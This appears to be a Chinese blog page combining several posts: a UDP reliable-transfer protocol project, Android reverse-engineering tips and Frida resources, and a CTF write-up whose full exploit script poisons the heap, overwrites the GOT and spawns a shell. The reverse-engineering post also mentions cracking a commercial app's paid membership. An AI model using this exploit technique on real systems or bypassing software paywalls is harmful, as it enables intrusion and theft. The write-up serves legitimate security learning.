在客户端的 connect 函数中,如果收不到SYN ACK,就会一直重传SYN包,直到收到 SYN ACK,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
self.udp_socket.settimeout(self.timeout)
while True:
try:
rcvpkt = self.udp_socket.recv(HEADER_SIZE+BUFFER_SIZE)
seqNum, ackNum, flag, checksum, data = analyse_pkt(rcvpkt)
if (flag & SYN) and (flag & ACK) and (ackNum == self.sbase):
self.connected = True
self.rbase = (seqNum + 1) % 256
self.rexpect = self.rbase
break

except socket.timeout:
print("[timeout] SYN ACK")
self.udp_send(syn_pack)

而在服务端的 accpet 函数中,我没有设置重传,而是将其放在 wait 函数中。假设SYN ACK包丢包了,客户端会继续向其发送SYN包,而服务器此时会进入 wait 函数进行处理。所以在 wait 中,如果收到了SYN包,那么它会重新发送SYN ACK包,在这里实现重传。

断开连接

我设计了两种正常断开连接的方法——主动断开和被动断开。不论是服务器还是客户端,都可以主动断开或被动断开。

主动断开即在连接中调用 close 函数。close 会向对方发送一个FIN包(通过设置flag中的FIN bit),然后等待对方发来的FIN ACK。

1
2
3
4
5
6
7
8
9
10
11
def close(self):
if (not self.connected):
print("[info] FIN...")
return

# send FIN
fin_pack = make_pkt(self.snext, self.rexpect, b"", stop=True)
self.udp_send(fin_pack)

# wait for FIN ACK
...

在另一方处理接收到的包的 wait 函数中,如果收到了FIN包,那么它会立即进入断开状态,并向其发送一个FIN ACK包。

1
2
3
4
5
6
7
# handle FIN
elif (flag & FIN):
ack_pkt = make_pkt((self.snext-1)%256, self.rexpect, b"", ack=True, stop=True)
self.udp_send(ack_pkt)
self.udp_socket.settimeout(None)
self.connected = False
return False

当然,上面两种情景也需要考虑丢包问题。
如果主动发送的FIN包发生丢包,也就是收不到FIN ACK,那么它就会一直重传FIN包。
在我的实现中,FIN ACK包只会发送一次,如果它丢包了就说明主动断开的那一方永远收不到FIN ACK了。因此,我在 close 函数中加入了如果超时次数超过 MAX_TIMEOUT,就假装自己收到了FIN ACK。从而也断开连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# wait for FIN ACK (close函数,接上文)
self.udp_socket.settimeout(self.timeout)
timeout_count = 0
while True:
if timeout_count >= MAX_TIMEOUT:
print("[info] FIN...")
break
try:
rcvpkt = self.udp_socket.recv(HEADER_SIZE+BUFFER_SIZE)
seqNum, ackNum, flag, checksum, data = analyse_pkt(rcvpkt)
if flag & FIN and flag & ACK and ackNum == self.snext:
self.connected = False
print("[info] FIN...")
break

except socket.timeout:
timeout_count += 1
print("[timeout] FIN ACK")
self.udp_send(fin_pack)

2 SR

在SR中,不再使用GBN的累积确认机制,接收方会分别确认每一个收到的包,即使包提前到了也会保存并发送其ACK。此外,对于每一个已发送未确认的包,发送方都会分别维护一个时钟,当某个包的时钟超时了,发送方会单独发送那一个包(所以叫选择重传)。

因此,一个重点是实现(至少逻辑上)分离的时钟,另一个重点就是区分已收到和未收到的包。

2.1 时钟

为了实现时钟的逻辑分离,我采用了尽量模拟的方法。我将超时间隔减小,作为类似“普朗克时间”或原子时间的概念。每次超时时,检测每个还在计时的时钟,如果他们超时了就进行重传,然后更新时钟。

我为我的socket添加了一个列表域 self.sclkq,全称为send clock queue。它将作为一个队列来使用,其每个元素都是一个 seq:timestamp 的元组。

当一个包(对应一个序列号)在send中被第一次发送时,它的序列号与这时的时间戳组成的元组将会被加入 sclkq 的队尾。如下所示:

1
2
3
4
5
6
7
8
9
10
# send packets
while self.sbase != self.spos:
if (self.snext - self.sbase) % 256 < self.window_size and self.snext != self.spos:
pkt = make_pkt(self.snext, self.rexpect, self.sdata[self.snext])
self.udp_send(pkt)
self.sclkq.append((self.snext, time.time())) # add to clock queue
self.snext = (self.snext + 1) % 256
else:
if not self._wait():
return

当在wait函数中发生了基础超时,程序将会重复检查 sclkq 的队首,若当前时间戳与其记录的时间戳差值(也就是距离上次发送过去的时间)超过了设置的超时时间,那么程序将会重传这个序列号的包,并把该元组出列,将其序列号与当前的新时间戳构成的元组重新加入队尾。如下代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
except socket.timeout:
if (recv):
return True

# check clock queue
while len(self.sclkq) > 0:
if time.time() - self.sclkq[0][1] >= self.timeout:
pkt = make_pkt(self.sclkq[0][0], self.rexpect, self.sdata[self.sclkq[0][0]])
self.udp_send(pkt)
self.sclkq.append((self.sclkq[0][0], time.time()))
del self.sclkq[0]
else:
break

这样一来,就实现了发送方对每个包的单独时钟的选择重传。

2.2 确认

在SR协议中,ACK表示收到了该序列号的包,而不是累积确认,因此接收方可以提前保存并确认包。如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# save data
if getChecksum(data) == checksum:
if self.rdata[seqNum] is None:
self.rdata[seqNum] = data

# send ACK
ack_pkt = make_pkt((self.snext-1)%256, seqNum, b"", ack=True)
self.udp_send(ack_pkt)

# update rexpect
i = self.rexpect
while not self.rdata[i] is None:
self.rexpect = (self.rexpect + 1) % 256
i = self.rexpect

注意上段代码中,更新rexpect的方式并不再是简单地加一,而是一直推进到没有收到的地方。区间 $[rbase, rexpect]$ 表示连续的可以返回给上层的数据,而rexpect之后可能存在离散的收到的数据,这些数据还不能返回给上层(否则就是乱序了)。

而对于发送方,当接收到ACK时,采用删除其在 sclkq 中的元组的方式,来取消其发送。在遍历 sclkq 时,同时记录最早的仍在队列中的包 crt_min_unacked。如果 crt_min_unackedsbase 不相等,则说明 sbase 可以更新,于是会更新后返回。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# handle ACK
if (flag & ACK):
# update clock queue
crt_min_unacked = self.snext
i = 0
while i < len(self.sclkq):
crt = self.sclkq[i][0]
if ackNum == crt:
self.sclkq.pop(i)
else:
if (crt - self.sbase) % 256 < (self.snext - self.sbase) % 256: # in window
if crt < WINDOW_SIZE:
crt += 256
if crt < crt_min_unacked:
crt_min_unacked = crt
i += 1
crt_min_unacked %= 256

if self.sbase != crt_min_unacked:
self.sbase = crt_min_unacked
self.udp_socket.settimeout(None)
return True
else:
continue

2.3 拥塞控制

至此,SR协议已经完成了。不过我再加入了一些最基础的拥塞控制机制,也就是AIMD。

我通过修改 self.window_size 来完成拥塞控制,send 会根据这个变量来决定发不发送新的包。具体的修改位于 wait 函数中,Additive Increase位于收到ACK且更新 sbase 时,确认数量达到当前的 self.window_size 时就会将其加一,代码如下:

1
2
3
4
5
6
# update window size (congestion control)
self.ackcount += (crt_min_unacked - self.sbase) % 256
if self.ackcount >= self.window_size:
print('[CNG_CTRL] add window size from', self.window_size, 'to', self.window_size+1)
self.window_size += 1
self.ackcount = 0

而Multiplicative Decrease位于处理一个包超时时,每有一个包超时就会触发这个机制,代码如下:

1
2
3
4
# update window size (congestion control)
new_window_size = max(2, self.window_size // 2)
print('[CNG_CTRL] reduce window size from', self.window_size, 'to', new_window_size)
self.window_size = new_window_size

3 测试

我编写了测试脚本用于测试客户端和服务端间连接是否可以准确传输整个图片文件,主要逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
for ((i=1; i<=$num_runs; i++)); do
rm ./server_log
rm ./client_log
python ./sr_server.py 1> ./server_log &
server_pid=$!

sleep 1

python ./sr_client.py 1> ./client_log

wait $server_pid

cmp -s ./server/recv.jpg ./client/data.jpg
if [ $? -eq 0 ]; then
echo "Test $i: Files match"
else
echo "Test $i: Files do not match"
break
fi

sleep 4
done

不论是sr客户端与服务器,还是gbn客户端与服务器,都使用该脚本,在丢包率非0的条件下(gbn使用20%测试,sr由于赶ddl原因使用5%测试,高丢包率环境下也测试过没问题)跑过了超过200轮的测试连续正确。

总结

一开始尝试在助教提供的实例代码上修改来做实验,但越改越复杂。由于sender和receiver是两个不同的类,因此一些函数复用起来非常烦,有的函数必须要写两遍。

因此我全都推倒重来,除了一些基础的函数以及思路的借鉴外,别的东西全都重新写。尤其是wait函数的复用,自认为比较简洁地实现了我的socket的全双工。

写完后,我对于rdt(以及TCP)的理解确实变得更深了,收获不错。虽然期末季很忙,不过还是抽了时间完成了这个PJ,幸苦自己了hhhh。

当溢出长度过短无法完成完整的ROP时,一般会想到stack pivot,也就是在某个固定的、可控的地址处提前布置好ROP链,然后通过 leave; ret 或是 xchg eax, esp 等方法完成栈迁移。
但在本题中,我们没有机会往已知地址写入数据,溢出大小又有限制。官方给出的方法是:通过 sub rsp, 0x18; call vul 这个非常规gadget,将提前布置好的ROP chain放在栈的高位,从而完成ROP chain的链接,我管它叫linked ROP chain。

比赛时和前辈两人看这题看了几个小时,找gadget找了很久也没做出来。比赛结束后发现了两个版本的做法,分别是官方的Chovid99师傅的的。官方的做法比较一般,并且和我们比赛时的思路完全一致(只是我们傻了没发现那个关键gadget),因此本文主要分析官方的做法。

Read more »

在上PoRE前,我是Android零基础小白,Java也没写过。
刚刚接触那些Lab时,虽然挑战性也是有的,但终归是小打小闹的练习性质,只是助教出的题目。

然后那天,Proj1降临了。

真实软件逆向,而且参考目标还是微信。(微信是操作系统(雾))

meme

开始前,前辈和我说过:没有做的时候都会以为这不可能,但其实你可以的。
现在做完了PJ1,我也想对后来的同学说:虽然这可能会耗费非常多的时间、精力,但我认为这是值得的!
这可是复杂度超高的真实软件、商用软件、以及操作系统软件,逆向成功就已经代表了——你已经有了在安卓世界中遨游的资格。

但是,我当然不会觉得耗费时间多是PJ1的优点。
我想在这里总结一些做PJ1的经验,能帮后来者节省一些时间就最好了。

工具 & 环境

在做PJ1时,我们需要准备一个好的调试环境。

最好的调试环境显然是真机,因为性能足够,可以提高调试的体验。如果你有一台备用手机的话,可以尝试网上查询root方法。我的备用手机是红米K30Ultra,使用root方法是Magisk。
root成功之后,推荐LSPosed模块,这是一个支持Xposed模块的框架,在安卓高版本也可以运行。Magisk有一个MagiskFrida模块可以开机自启Frida-Server,也十分推荐安装。这样一来,Frida和Xposed环境都准备好了。

在模拟器上的调试环境,参考助教的文档说明即可。中间不可避免会遇到问题,这是锻炼定位问题-搜索能力-解决问题能力的好机会。当然,在连续高强度STFW(Search The Friendly Web)之后,是人都不可避免出现头晕、昏昏沉沉、眼冒金星、可能还有腰酸背痛颈椎痛的情况。此时建议出去走走,今天的PJ1就写到这里……

然后就是一些工具的介绍了:

Frida:Hook主力
使用参考上一期
由于Frida脚本启动速度极快,对脚本进行修改后,只要在本机上重新启动python脚本就可以看到新的效果,而不需要重启模拟器啥的。因此,推荐即使要开发Xposed模块,也先用Frida进行hook测试。

Xposed框架:略

DDMS:动态调试工具
在网上搜索DDMS,可以发现这是一个Android Studio已经废弃的功能,但现在依然可以使用,请参考这篇文章找到它。
主要推荐其中的查看控件id功能。当我想要hook某个按钮绑定的onClick函数,可以直接用DDMS查看那个按钮的控件ID,在逆向工具中根据该ID搜索,就可以找到那个控件的引用,从而找到程序在哪里为其注册了onClick函数。

JEB:逆向工具
JEB不能搜索Java代码,我觉得比Jadx难用,并且占内存似乎也要更多。

Jadx:逆向工具
可以直接在生成的Java伪代码中搜索,功能十分强大好用。
可以在这里安装:https://github.com/skylot/jadx/releases
推荐安装 jadx-gui with bundled JRE 版本,这个版本可以直接在启动脚本里修改JVM的最大内存,防止Jadx在逆向微信的时候爆炸。方法是找到启动脚本(jadx-gui.bat)中的 "-XX:MaxRAMPercentage=xxx",然后将后面的那个 xx 改得大一点,比如 90.0 之类的。也可以把这条直接改成 -Xmx4g 来指定具体的内存数量。

PKiD:查壳工具
链接:http://www.legendsec.org/1888.html
可以查询APP有么有加壳,不过比较古老了。如果加了壳的话,很多代码逻辑都不会在APP里直接看到。我遇到的第一个目标就加壳了,用这个软件检测出来了。

FRIDA-DEXDump:脱壳工具
链接:https://github.com/hluwa/FRIDA-DEXDump
可以从内存里把dex代码给Dump出来,存到本地之后可以用jadx直接打开那个文件夹,用dump下来的代码进行分析。

思路

面对一个庞大的APP文件,眼花缭乱的代码(经过混淆之后确实是眼花缭乱),你是否迷茫?反正我是挺迷茫的。
思路很重要。我们需要有目标的逆向,而不是漫无目的的逆向。

我们首要思考的,就是逆向目标和软件逻辑之间的练习。比如想要做一个广告跳过功能,就可以思考:程序如何启动广告?程序如何关闭广告?最直接的入口,就是广告右上角的跳过或者关闭按钮。从按钮入手,找到点击按钮时的程序逻辑,就一定可以找到跳过广告的方法。

微信发送消息也是类似的。程序在什么时候会发送消息呢?当我们点击发送键的时候。所以发送消息的逻辑一定可以通过按钮来找到。

像跳过广告、发送消息这种有明确按钮,可以在手机上通过点击来进行的操作是最好逆向的。但我们也会遇到很多不好逆向的情况,比如我选的任务目标之一是破解一个软件的会员内购;又比如我的另一个目标是微信机器人,需要逆向找到接受消息的逻辑。这种情况下,没有明显的入口可供我们调用,我们就需要从其他的角度入手。

在破解会员内购中,一种思路是支付的时候伪造成功的回复消息;另一种思路是通过某个界面组件在开通VIP前后的变化,找到用以判断VIP的那个关键逻辑函数。这两者都比前者难找一些,不过都是可行的思路,我前后两个思路都试了一遍才成功。

在微信接受消息中,可能就需要从聊天框中显示的对方发来的消息组件入手,找到它的类、它的父类……不过,我并没有老老实实找,因为PJ1文档中给的一篇参考文章作者已经提供了一个非常有用的信息——微信会把聊天数据存到数据库中。(注意,由于很多数据库API都是以字符串为参数的,这大大方便了逆向时的信息获取)

Trick

有了思路以后,就需要在开始寻找目标了。在寻找目标时,也有一些能够帮助逆向的小技巧。

其中,最有用的技巧一定是jadx中的搜索功能。想要找“发送”按钮就搜索“发送”,想要搜索“跳过广告”就搜索“跳过广告”,想要搜索SQL处理逻辑就搜索“SQL”,想要搜索一个抽象接口类的实现类就搜索那个接口的名字……
由于jadx的搜索支持类名、函数名、代码、注释、资源,想要搜什么都可以Ctrl+Shift+F召喚出搜索界面!

此外,还推荐多多使用Frida动静态结合地调试。在jadx中右键某函数后,选择“复制为Frida片段”,粘贴到Frida脚本之后,运行脚本,马上就可以看到那个函数的调用情况、参数以及返回值。比如在一个函数中,有大量的在if中的语句,我们不知道它们是否会被执行,此时就可以hook住那个函数,通过打印参数、打印this的各个域等等方式来打印出真实情况下这些判断条件的值,从而得知真实的执行流是怎样的。

最后,我在逆向时遇到的一个比较逆天的情况是真机环境的微信函数名、类名和我本地的安装包中的函数名、类名是不一样的。我本地的安装包可是直接用真机上的微信导出的啊,真不知道哪里出了问题。一种可能是微信做了安装时混淆,另一种可能是我自己把安装包弄混了。遇到hook不上的情况,可以试试打印可以确定的类的各个域和成员函数,如下代码所示:

1
2
3
4
5
6
7
8
9
let listener = Java.use("com.tencent.mm.pluginsdk.ui.chat.q");
var methods = listener.class.getDeclaredMethods();
for(var j = 0; j < methods.length; j++){
console.log(methods[j])
}
var fields = listener.class.getDeclaredFields();
for(var j = 0; j < fields.length; j++){
console.log(fields[j].getName())
}

领悟(建议)

面对一个新的情况,最好的办法是先网上搜一下。我感到使用谷歌进行搜索比百度要强一万倍,并且要多进行搜索,中文搜不到换英文再试试。比如像微信这样的软件,网络上一定会有许多已有的逆向资料(比如PJ1文档里助教给的参考文章),多搜多看,说不定就能遇到想找的东西。

在做PJ的时候,一定要注意保护好身体,注意坐姿和眼睛,不要沉迷逆向无法自拔!逆向的时间是过得很快的,并且有时会不断产生新的希望,让人在电脑面前坐着走不开。但很多时候,故意停下来去做别的事情,可能会产生更新更好的思路。
(Windows的话可以开个桌面专门当作逆向的工作桌面,这样停下来只要切换桌面就可以干别的事了)

此外,多和好同学交流一下思路、方法论非常有用,同学的思路往往能够大大地启发人!(可能比我写的破文章要更启发人)

最后,Proj1确实是很具有挑战性的一个作业,也是很难忘的一段旅途。我在Proj1里学到了一些东西,希望能帮助我以后解决更大的挑战,也希望能帮助到一些未来的同学~

P.S. 我也觉得PoRE这个难度坡度太大了,直接上真实的软件……或许可以在中间加一些小练习的,比如frida小练习(?)

Frida是一个几乎全平台(Windows、MacOS、GNU/Linux、IOS、Android)的代码插桩软件。它能够把谷歌的V8引擎(JavaScript、WebAssembly引擎,即解释器)注入到目标进程中,允许我们编写的JS脚本拥有对于整个进程内存空间的访问权、Hook进程里的代码、直接调用它们等……

Frida功能强大,且使用非常便捷、快速。比如在Android平台,Xposed模块也一样可以做到插桩,但调试起来麻烦得多,每次都要生成APK、安装APK、添加模块、重启环境。而Frida甚至不需要编译!官网对它的描述是 Scriptable,编辑后运行,直接就能够看到结果——你甚至不用重开目标进程!

如何使用Frida?Frida包括一个需要在目标机器上运行的Frida Server,同时,在本机上(用于写脚本的机器)提供了命令行工具(Frida CLI tool)、也可以用Python调用Frida API或直接编写JS脚本。

本笔记收集了一些安卓使用Frida的资源。

推荐食用方法是:

  1. 安装:如果你是PoRE学生,可以直接用助教给的方法,在虚拟机进行安装配置。否则可以参考官网文档。
    如果想要用真机进行调试,最好确保使用备用手机,可以使用magisk进行root,可以用一个magisk模块自动开机自启frida服务器,名为MagiskFrida。
  2. 从(助教给的例子或)官网的Example中学习,跑跑脚本并改一改脚本,学习Frida & Android的基础用法。
  3. 你已经可以直接上手了。遇到想要hook但不知道怎么hook的内容,从第三个链接(Sakura大佬的博客)那边可以学习如何使用,如何new一个类、如何获取一个类的实例等。
  4. python脚本与目标进程通信允许我们在主机上也能放一些逻辑,再加上python强大的第三方库支持,我们可以整很多活。等hook成功了之后,看看第四个链接的内容,想想可以整什么活。
  5. 最后是第五个链接,完整的官方文档,可以备着,想要实现某个奇怪的功能或了解某个接口的具体用法时查看。

安装配置:官网Android安装文档
官网Android Example(可以从注释学到基础用法):Android | Frida
大部分用法教程与示例:Frida Android hook | Sakuraのblog
目标进程与本地python脚本通信教程:Messages | Frida
详细的文档:JavaScript API | Frida

相关:realloc、tcache2.29

借用了很多巧合,实在是特别“幸运”的一个利用。
自己做出来之后,发现网上大部分wp都和我的解法不一样,但是更通用一些,不像我的那么极限(草)。

漏洞分析

保护情况:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
FORTIFY: Enabled

程序是一个菜单,提供了alloc、realloc、free功能,来操作bss段的两个栏位,大致功能如下:

  • alloc:选中栏当前为NULL时,使用 realloc(NULL, size) 分配新的区块并读入数据;
  • realloc:选中栏当前非NULL时,将选中栏使用 realloc(ptr, size) 来调整大小并(如果realloc返回值非0)读入数据;
  • free:将选中栏使用 realloc(ptr, 0) 进行释放,并将指针置零

主要的漏洞在于realloc的使用上,可以通过RTFM(在线man地址:realloc(3): allocate/free dynamic memory - Linux man page)得到realloc的说明:

The realloc() function changes the size of the memory block pointed to by ptr to size bytes. The contents will be unchanged in the range from the start of the region up to the minimum of the old and new sizes. If the new size is larger than the old size, the added memory will not be initialized. If ptr is NULL, then the call is equivalent to malloc(size), for all values of size; if size is equal to zero, and ptr is not NULL, then the call is equivalent to free(ptr). Unless ptr is NULL, it must have been returned by an earlier call to malloc(), calloc() or realloc(). If the area pointed to was moved, a free(ptr) is done.

注意到,当ptr字段为0,realloc等价于malloc;当ptr不为0但size为0时,realloc等价于free。

程序确实使用这两种功能来实现了malloc以及free,但是在realloc和free功能中,检查做得不够完善:

  • 当realloc中输入size为0,可以触发free,且不将原指针置零,创造了UAF的可能。
  • 使用free作用于空栏位(NULL),可以触发一次匿名的malloc(0)。这里的匿名指的是结果不会保存在bss段结构中,因为free会将其置零。

其实另外还在alloc功能中发现了一个Off-by-NULL漏洞,但我并没有想到很好的办法来用到这个漏洞。

Exploitation

在宏观的层面上,由于程序二进制本身虽然关闭了PIE,但没有特别有用的函数,因此思路还是两步走:泄露libc地址、劫持控制流。

泄露libc地址

程序本身并没有能够提供打印区块数据的功能,因此想要泄露libc数据就一定需要劫持控制流。
目前,栈地址未知排除ROP,将目标瞄准GOT:

1
2
3
4
5
6
7
8
9
10
11
off_404018 dq offset _exit  
off_404020 dq offset __read_chk
off_404028 dq offset puts
off_404030 dq offset __stack_chk_fail
off_404038 dq offset printf
off_404040 dq offset alarm
off_404048 dq offset atoll
off_404050 dq offset signal
off_404058 dq offset realloc
off_404060 dq offset setvbuf
off_404068 dq offset __isoc99_scanf

首先思考可不可以把唯一操作区块的外部函数——realloc替换为puts来泄露地址,笔者这时顾忌到题目限制了区块大小,不太方便构造 unsorted bin 中的区块。
因此将目标瞄准了atoll,这个函数在read_long中被调用,参数是栈上用来读入数字的buffer。可以尝试用它来泄露栈上的数据。

这时一个好主意是使用plt[printf]代替atoll,这样就可以在栈上指哪打哪,可惜笔者做的时候并没有想到这个好主意,只是用了plt[puts]。不过不影响,因为我遇到了第一个逆天的巧合:在buffer+8的位置就有一个libc地址。先介绍一下怎么覆写的:

1
2
3
4
5
alloc(0, 0x18, b"victim")
realloc_free(0)
realloc(0, 0x18, pack(elf.got["atoll"]))
free(1) # alloc a anonymous 0x20 chunk
alloc(1, 0x18, pack(elf.plt["puts"])+pack(0)+pack(0x4015DC))

第一行创建了一个0x20大小区块,第二行将其释放进入tcache,同时保留了这个指针。
第三行使用了realloc,realloc发现这个区块大小正常就直接放行了,从而我们可以覆盖fd指针为got[atoll]。
第四行使用free的漏洞来申请一个匿名区块,分配完之后再下一个区块就是atoll了。
第五行将atoll覆盖为plt[puts],并顺便把realloc覆盖为一个普通 ret 的地址,原因后面再说。

这里需要提一嘴,我使用了匿名区块来解决这一问题:非0的栏位无法进行alloc。不过在复盘时,从网上的大佬那边发现可以通过一种非常巧妙的方式来将栏位置零,同时又不干扰已经位于tcache中的atoll地址,从而将后续利用流程也变得直观一些。
可以通过realloc将区块变大,然后再free。这样就可以free到别的大小的tcache中,并且根本不用关注key的检查,也不会将atoll的地址覆盖,一举两得。
参考地址见Binary Exploitation [pwnable.tw] - Realloc - Tainted Bits

接下来泄露libc地址,由于buffer+8就有,因此简简单单就可以泄露了:

1
2
3
4
5
6
7
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(b"1111111\n") # just padding
io.recvuntil(b"1111111\n")
libc_base = unpack(io.recvuntil(b'\x7f')+b'\0\0')-0x1e570a
success("libc_base: "+hex(libc_base))

攻击!

目标是 get shell,由于之前已经有了指向GOT的指针(栏位1中),所以我们想办法利用realloc中最后的那个read_input函数来再次修改GOT。
但由于realloc在中间会调用realloc(废话),直接让他realloc一个GOT中的区块大概率是要出问题的,而且程序会往realloc的返回值中读入数据。因此我们需要想一个办法让realloc调用返回之后,rax是GOT中区块的地址。

静态分析一波,并没有发现什么 mov rax, rdi; ret; 的gadget,难道我的方法走不下去了吗?于是动态分析一波,惊喜地发现 程序在调用realloc之前,rax中就已经是GOT中区块地地址了,令人不得不感叹 大自然 出题人的鬼斧神工。

所以就有了上面把realloc覆盖为一个简单的 ret 。这样一来,在执行了下面几句代码后,atoll就会变成system的地址(注意注释,很重要):

1
2
3
4
5
6
7
8
9
io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(b'\0') # now atoll is puts, so puts("\0") = 1
io.recvuntil(b"Size:")
io.sendline(b"1111111\0") # now atoll is puts, so puts("1111111\0") = 8
# we have hijacked realloc to 'ret', and when call realloc, rax has been same as rdi (which is really coincident)
# so program just pass and execute read_input(heap[v1], size)
io.sendline(pack(libc_base+libc.symbols["system"]))

最后,我们随便触发一个read_long,输入/bin/sh,就可以成功 get shell!当然,也可以直接输入 cat ~/flag,如果您需要节省时间的话。

1
2
3
4
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(b"/bin/sh\0")

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
def alloc(id, size, data):
io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(str(id).encode("ascii"))
io.recvuntil(b"Size:")
io.sendline(str(size).encode("ascii"))
io.recvuntil(b"Data:")
io.send(data)

def realloc(id, size, data):
io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(str(id).encode("ascii"))
io.recvuntil(b"Size:")
io.sendline(str(size).encode("ascii"))
io.recvuntil(b"Data:")
io.send(data)

def realloc_free(id):
io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(str(id).encode("ascii"))
io.recvuntil(b"Size:")
io.sendline(b"0")

def free(id):
io.recvuntil(b"choice: ")
io.sendline(b"3")
io.recvuntil(b"Index:")
io.sendline(str(id).encode("ascii"))


def pwn():

# ---------- leak libc ----------

# 1.1 hijack GOT[atoll] to PLT[puts], GOT[realloc] to 'ret'

alloc(0, 0x18, b"victim")
realloc_free(0)
realloc(0, 0x18, pack(elf.got["atoll"]))
free(1) # alloc a anonymous 0x20 chunk
alloc(1, 0x18, pack(elf.plt["puts"])+pack(0)+pack(0x4015DC))

# 1.2 leak libc load address (from stack)

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(b"1111111\n") # just padding
io.recvuntil(b"1111111\n")
libc_base = unpack(io.recvuntil(b'\x7f')+b'\0\0')-0x1e570a
success("libc_base: "+hex(libc_base))

# ---------- hijack GOT ----------

# 2.1 hijack GOT[atoi] to libc[system]

io.recvuntil(b"choice: ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(b'\0') # now atoll is puts, so puts("\0") = 1
io.recvuntil(b"Size:")
io.sendline(b"1111111\0") # now atoll is puts, so puts("1111111\0") = 8
# we have hijacked realloc to 'ret', and when call realloc, rax has been same as rdi (which is really coincident)
# so program just pass and execute read_input(heap[v1], size)
io.sendline(pack(libc_base+libc.symbols["system"]))

# 2.2 trigger system("/bin/sh") by atoi("/bin/sh")

io.recvuntil(b"choice: ")
io.sendline(b"1")
io.recvuntil(b"Index:")
io.sendline(b"/bin/sh\0")

success("Enjoy your shell!")
io.interactive()

这个故事告诉我们:涉及内存安全的函数还是要小心小心再小心,仔细阅读手册、了解边界行为……